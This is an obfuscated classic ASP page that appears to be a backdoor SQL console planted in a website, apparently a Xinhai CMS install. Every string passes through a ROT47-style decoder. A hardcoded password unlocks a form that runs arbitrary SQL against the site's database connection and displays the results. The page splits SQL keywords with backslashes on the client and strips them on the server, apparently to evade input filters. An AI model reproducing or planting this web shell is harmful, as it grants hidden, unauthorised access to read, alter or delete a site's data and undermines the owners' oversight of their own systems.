<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
Const CCCCJJ="Xinhai_Sql_Psw_2014":dim CCJJCJ,str,CCJCJJ,CCJCJC:CCJJCJ=request("act"):if CCJJCJ=CCCCCC("6I:E") then
Session.Contents.Remove(CCCCCC(")x}wpx0$""{0!$("))
response.Redirect CCCCCC("DB=]2DA")
elseif CCJJCJ=CCCCCC("=@8:?") then
dim CCJCCJ:CCJCCJ=request.Form(CCCCCC("ADH")):if CCJCCJ<>CCCCJJ then
Call Alert(CCCCCC("寴@丈@赲@，,寁@矼@锔@诪@！,"))
else
Session(CCCCCC(")x}wpx0$""{0!$("))=CCCCJJ:response.Redirect CCCCCC("DB=]2DA")
end if
elseif CCJJCJ=CCCCCC("6I6") then
CCCCJC=trim(request.Form(CCCCCC("DB="))):if CCCCJC<>"" then
dim CCJCCC:CCJCCC=Array(CCCCCC("D\6\=\6\4\E"),CCCCCC("2\=\E\6\C"),CCCCCC("F\A\5\2\E\6"),CCCCCC("5\6\=\6\E\6"),CCCCCC("4\C\6\2\E\6"),CCCCCC("H\9\6\C\6"),CCCCCC("@\C\5\6\C")):for CCJCJJ=0 to ubound(CCJCCC):CCCCJC=replace(CCCCJC,CCCCCC(",") & CCJCCC(CCJCJJ) & CCCCCC("."),replace(CCJCCC(CCJCJJ),CCCCCC("\"),"") & CCCCCC(" ,")):next
end if
end if:Response.Write(vbCrLf):Response.Write(CCCCCC("kPs~r%*!t ,9E>=m") & vbCrLf):Response.Write(CCCCCC("k9E>= ,=2?8lQK9\r}Qm") & vbCrLf):Response.Write(CCCCCC("k9625m") & vbCrLf):Response.Write(CCCCCC("k>6E2 ,492CD6ElQFE7\gQm") & vbCrLf):Response.Write(CCCCCC("k>6E2 ,9EEA\6BF:GlQ)\&p\r@>A2E:3=6Q ,4@?E6?ElQ:6l6586Qm") & vbCrLf):Response.Write(CCCCCC("k>6E2 ,?2>6lQG:6HA@CEQ ,4@?E6?ElQH:5E9l56G:46\H:5E9[ ,:?:E:2=\D42=6l`]_Qm") & vbCrLf):Response.Write(CCCCCC("k>6E2 ,?2>6lQC6?56C6CQ ,4@?E6?ElQH63<:EQm") & vbCrLf):Response.Write(CCCCCC("kE:E=6m$""{k^E:E=6m") & vbCrLf):Response.Write(CCCCCC("k=:?< ,C6=lQDEJ=6D966EQ ,9C67lQ]]^]]^$4C:AED^4@56>:CC@C^=:3^4@56>:CC@C]4DDQ^m") & vbCrLf):Response.Write(CCCCCC("kDEJ=6m") & vbCrLf):Response.Write(CCCCCC("3@5J ,L ,7@?Ei ,`aAI ,Q復@轪@雀@黌@Q[ ,'6C52?2[ ,Q宆@低@Qj ,4@=@Ci ,R___j ,N") & vbCrLf):Response.Write(CCCCCC("9a ,L ,7@?E\D:K6i ,`cAIj ,N") & vbCrLf):Response.Write(CCCCCC("9a ,DA2? ,L ,4@=@Ci ,Rrfat_aj ,7@?E\H6:89Ei ,3@=5j ,>2C8:?\C:89Ei ,dAIj ,N") & vbCrLf):Response.Write(CCCCCC("DA2?]6CC@C ,L ,4@=@Ci ,C65j ,N") & vbCrLf):Response.Write(CCCCCC("5:G]r@56|:CC@C ,L ,7@?E\D:K6i ,`cAIj ,3@C56Ci ,`AI ,D@=:5 ,Rrrrj ,96:89Ei ,a__AIj ,N") & vbCrLf):Response.Write(CCCCCC("5:G]r@56|:CC@C\4@56 ,L ,7@?E\72>:=Ji ,Q=F4:52 ,4@?D@=6Qj ,N") & vbCrLf):Response.Write(CCCCCC("^Y敫@捩@衣@样@Y^") & vbCrLf):Response.Write(CCCCCC("E23=6]E30DE2E ,L ,3@C56C\E@Ai ,aAI ,D@=:5 ,Reeej ,3@C56C\3@EE@>i ,aAI ,D@=:5 ,Reeej ,3@C56C\4@==2AD6i ,4@==2AD6j ,H:5E9i ,`__Tj ,N") & vbCrLf):Response.Write(CCCCCC("E23=6]E30DE2E ,E9[ ,E23=6]E30DE2E ,E5 ,L ,3@C56Ci ,`AI ,D@=:5 ,Reeej ,A255:?8i ,bAIj ,E6IE\2=:8?i ,46?E6Cj ,N") & vbCrLf):Response.Write(CCCCCC("E23=6]E30DE2E ,E9 ,L ,3@C56C\3@EE@>i ,aAI ,D@=:5 ,Reeej ,324<8C@F?5i ,Rtgtgtgj ,N") & vbCrLf):Response.Write(CCCCCC("E23=6]E30DE2E ,E9i7:CDE\49:=5[ ,E23=6]E30DE2E ,E5i7:CDE\49:=5 ,L ,3@C56C\=67Ei ,?@?6j ,N") & vbCrLf):Response.Write(CCCCCC("E23=6]E30DE2E ,E9i=2DE\49:=5[ ,E23=6]E30DE2E ,E5i=2DE\49:=5 ,L ,3@C56C\C:89Ei ,?@?6j ,N") & vbCrLf):Response.Write(CCCCCC("k^DEJ=6m") & vbCrLf):Response.Write(CCCCCC("k^9625m") & vbCrLf):Response.Write(CCCCCC("k3@5Jm") & vbCrLf)::if Session(CCCCCC(")x}wpx0$""{0!$("))=CCCCJJ then
Response.Write(vbCrLf):Response.Write(CCCCCC("k9amkDA2?m█,k^DA2?m辎@兠@脕@朧@k^9am") & vbCrLf):Response.Write(CCCCCC("k7@C> ,>6E9@5lQA@DEQ ,DEJ=6lQ>2C8:?\3@EE@>idAIjQm") & vbCrLf):Response.Write(CCCCCC(" ,k:?AFE ,EJA6lQDF3>:EQ ,:5lQ3FEE@?bQ ,G2=F6lQ扢@衇@！,Q ,^m") & vbCrLf):Response.Write(CCCCCC(" ,k:?AFE ,EJA6lQ3FEE@?Q ,:5lQ3E?04=62CQ ,G2=F6lQ渀@ ,穵@Q ,^m") & vbCrLf):Response.Write(CCCCCC(" ,k:?AFE ,EJA6lQ3FEE@?Q ,:5lQ3FEE@?aQ ,G2=F6lQ宄@兣@迻@凵@Q ,@?4=:4<lQ;2G2D4C:AEi=@42E:@?lVn24El6I:EVjQ ,^m") & vbCrLf):Response.Write(CCCCCC(" ,k:?AFE ,?2>6lQ24EQ ,EJA6lQ9:556?Q ,:5lQ24EQ ,G2=F6lQ6I6Q ,^m") & vbCrLf):Response.Write(CCCCCC(" ,k:?AFE ,EJA6lQ9:556?Q ,?2>6lQDB=Q ,:5lQDB=Qm") & vbCrLf):Response.Write(CCCCCC("k^7@C>m") & vbCrLf):Response.Write(CCCCCC("kE6IE2C62 ,?2>6lQ4@56Q ,:5lQ4@56Qm")):Response.Write  CCCCJC:Response.Write(CCCCCC("k^E6IE2C62m") & vbCrLf)::if CCJJCJ=CCCCCC("6I6") and CCCCJC<>"" then
Response.Write(vbCrLf):Response.Write(CCCCCC("k9amkDA2?m█,k^DA2?m扢@衇@绎@林@k^9am") & vbCrLf)::dim CCCJJJ,CCCJJC:set CCCJJJ=Server.CreateObject(CCCCCC("ps~sq]r@??64E:@?")):CCCJJJ.open Application(CCCCCC("r@??64E:@?$EC:?8")):on error resume next:if lcase(left(CCCCJC,6))=CCCCCC("D6=64E") then
set CCCJJC=CCCJJJ.execute(CCCCJC):if err then
response.Write CCCCCC("kDA2? ,4=2DDlV6CC@CVm锔@诪@：,") & err.description & CCCCCC("k^DA2?m")
else
str=CCCCCC("kE23=6 ,4=2DDlVE30DE2EVmkECmkE9 ,H:5E9lVc_V ,?@HC2Am床@史@k^E9m")
for CCJCJJ=0 to CCCJJC.fields.count-1:str=str & CCCCCC("kE9m") & CCCJJC.fields(CCJCJJ).name & CCCCCC("k^E9m"):next:str=str & CCCCCC("k^ECm"):CCJCJJ=1:do while not CCCJJC.eof:str=str & CCCCCC("kECmkE5m") & CCJCJJ & CCCCCC("k^E5m"):for CCJCJC=0 to CCCJJC.fields.count-1:str=str & CCCCCC("kE5m") & CCCJJC.fields(CCJCJC).value & CCCCCC("k^E5m"):next:str=str & CCCCCC("k^ECm"):CCCJJC.movenext:CCJCJJ=CCJCJJ+1:loop:str=str & CCCCCC("k^E23=6m"):response.Write str
end if
else
CCCJJJ.execute CCCCJC:if err then
response.Write CCCCCC("kDA2? ,4=2DDlV6CC@CVm锔@诪@：,") & err.description & CCCCCC("k^DA2?m")
else
response.Write CCCCCC("脕@朧@扢@衇@戋@劚@！,【,") & Now & CCCCCC("】,")
end if
end if:CCCJJJ.Close : Set CCCJJJ = Nothing
end if
Else
Response.Write(vbCrLf):Response.Write(CCCCCC("k7@C> ,>6E9@5lQA@DEQm") & vbCrLf):Response.Write(CCCCCC(" ,诲@辎@兠@寁@矼@：,") & vbCrLf):Response.Write(CCCCCC(" ,k:?AFE ,?2>6lQADHQ ,EJA6lQA2DDH@C5Q ,:5lQADHQ ,D:K6lQc_Q ,2FE@4@>A=6E6lQ@77Q ,^m") & vbCrLf):Response.Write(CCCCCC(" ,k:?AFE ,?2>6lQ3FEE@?Q ,EJA6lQDF3>:EQ ,:5lQ3FEE@?Q ,G2=F6lQ硩@ ,宕@Q ,^m") & vbCrLf):Response.Write(CCCCCC(" ,k:?AFE ,?2>6lQ24EQ ,EJA6lQ9:556?Q ,:5lQ24EQ ,G2=F6lQ=@8:?Q ,^m") & vbCrLf):Response.Write(CCCCCC("k^7@C>m") & vbCrLf)
End If:Response.Write(vbCrLf):Response.Write(CCCCCC("kD4C:AE ,DC4lQ]]^]]^$4C:AED^;BF6CJ]>:?];DQmk^D4C:AEm") & vbCrLf):Response.Write(CCCCCC("kD4C:AE ,DC4lQ]]^]]^$4C:AED^4@56>:CC@C^=:3^4@56>:CC@C];DQmk^D4C:AEm") & vbCrLf):Response.Write(CCCCCC("kD4C:AE ,DC4lQ]]^]]^$4C:AED^4@56>:CC@C^>@56^DB=^DB=];DQmk^D4C:AEm") & vbCrLf):Response.Write(CCCCCC("kD4C:AEm") & vbCrLf):Response.Write(CCCCCC("^Y ,8=@32= ,r@56|:CC@C ,Y^") & vbCrLf):Response.Write(CCCCCC("SW7F?4E:@?WXL") & vbCrLf):Response.Write(CCCCCC(" ,^^ ,寁@矼@桁@無@炴@") & vbCrLf):Response.Write(CCCCCC(" ,SWVRADHVX]7@4FDWX") & vbCrLf):Response.Write(CCCCCC(" ,^^ ,绌@宕@仞@矼@髓@亩@揍@仱@") & vbCrLf):Response.Write(CCCCCC(" ,:7WSWVR4@56VX]=6?8E9m_XL") & vbCrLf):Response.Write(CCCCCC(" ,G2C ,>Jr@56|:CC@C ,l ,r@56|:CC@C]7C@>%6IEpC62WSWVR4@56VX]86EW_X[L") & vbCrLf):Response.Write(CCCCCC(" ,>@56iVE6IE^I\>DDB=V[") & vbCrLf):Response.Write(CCCCCC(" ,=:?6}F>36CDi ,ECF6[") & vbCrLf):Response.Write(CCCCCC(" ,2FE@7@4FDi ,ECF6") & vbCrLf):Response.Write(CCCCCC(" ,NX") & vbCrLf):Response.Write(CCCCCC(" ,N") & vbCrLf):Response.Write(CCCCCC(" ,^^ ,渀@穵@") & vbCrLf):Response.Write(CCCCCC(" ,SWVR3E?04=62CVX]4=:4<W7F?4E:@?W6XL") & vbCrLf):Response.Write(CCCCCC(" ,>Jr@56|:CC@C]D6E'2=F6WVVX") & vbCrLf):Response.Write(CCCCCC(" ,>Jr@56|:CC@C]7@4FDWX") & vbCrLf):Response.Write(CCCCCC(" ,NX") & vbCrLf):Response.Write(CCCCCC(" ,^^ ,炴@凶@揋@亟@缑@矼@仞@矼@") & vbCrLf):Response.Write(CCCCCC(" ,SWV7@C>VX]DF3>:EW7F?4E:@?W6X ,L") & vbCrLf):Response.Write(CCCCCC(" ,G2C ,4@56l>Jr@56|:CC@C]86E'2=F6WX") & vbCrLf):Response.Write(CCCCCC(" ,4@56l4@56]C6A=246W^D6=64E-DZ^:[V,D\6\=\6\4\E.VX") & vbCrLf):Response.Write(CCCCCC(" ,4@56l4@56]C6A=246W^2=E6C-DZ^:[V,2\=\E\6\C.VX") & vbCrLf):Response.Write(CCCCCC(" ,4@56l4@56]C6A=246W^FA52E6-DZ^:[V,F\A\5\2\E\6.VX") & vbCrLf):Response.Write(CCCCCC(" ,4@56l4@56]C6A=246W^56=6E6-DZ^:[V,5\6\=\6\E\6.VX") & vbCrLf):Response.Write(CCCCCC(" ,4@56l4@56]C6A=246W^4C62E6-DZ^:[V,4\C\6\2\E\6.VX") & vbCrLf):Response.Write(CCCCCC(" ,4@56l4@56]C6A=246W^H96C6-DZ^:[V,H\9\6\C\6.VX") & vbCrLf):Response.Write(CCCCCC(" ,4@56l4@56]C6A=246W^@C56C-DZ^:[V,@\C\5\6\C.VX") & vbCrLf):Response.Write(CCCCCC(" ,4@56l4@56]C6A=246W^-DZ^8:[V ,VX") & vbCrLf):Response.Write(CCCCCC(" ,SWVRDB=VX]G2=W4@56X") & vbCrLf):Response.Write(CCCCCC(" ,NX") & vbCrLf):Response.Write(CCCCCC("NX") & vbCrLf):Response.Write(CCCCCC("k^D4C:AEm") & vbCrLf):Response.Write(CCCCCC("k^3@5Jm") & vbCrLf):Response.Write(CCCCCC("k^9E>=m") & vbCrLf)
Function CCCCCC(ByVal CCCCCJ)
Dim CCCJCJ, CCJCJJ, CCCJCC
CCCCCJ = Replace(CCCCCJ, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For CCJCJJ = 1 To Len(CCCCCJ)
If CCJCJJ <> CCCJCC Then
CCCJCJ = AscW(Mid(CCCCCJ, CCJCJJ, 1))
If CCCJCJ >= 33 And CCCJCJ <= 79 Then
CCCCCC = CCCCCC & Chr(CCCJCJ + 47)
ElseIf CCCJCJ >= 80 And CCCJCJ <= 126 Then
CCCCCC = CCCCCC & Chr(CCCJCJ - 47)
Else
CCCJCC = CCJCJJ + 1
If Mid(CCCCCJ, CCCJCC, 1) = Chr(64) Then CCCCCC = CCCCCC & ChrW(CCCJCJ + 5) Else CCCCCC = CCCCCC & Mid(CCCCCJ, CCJCJJ, 1)
End If
End If
Next
End Function
%>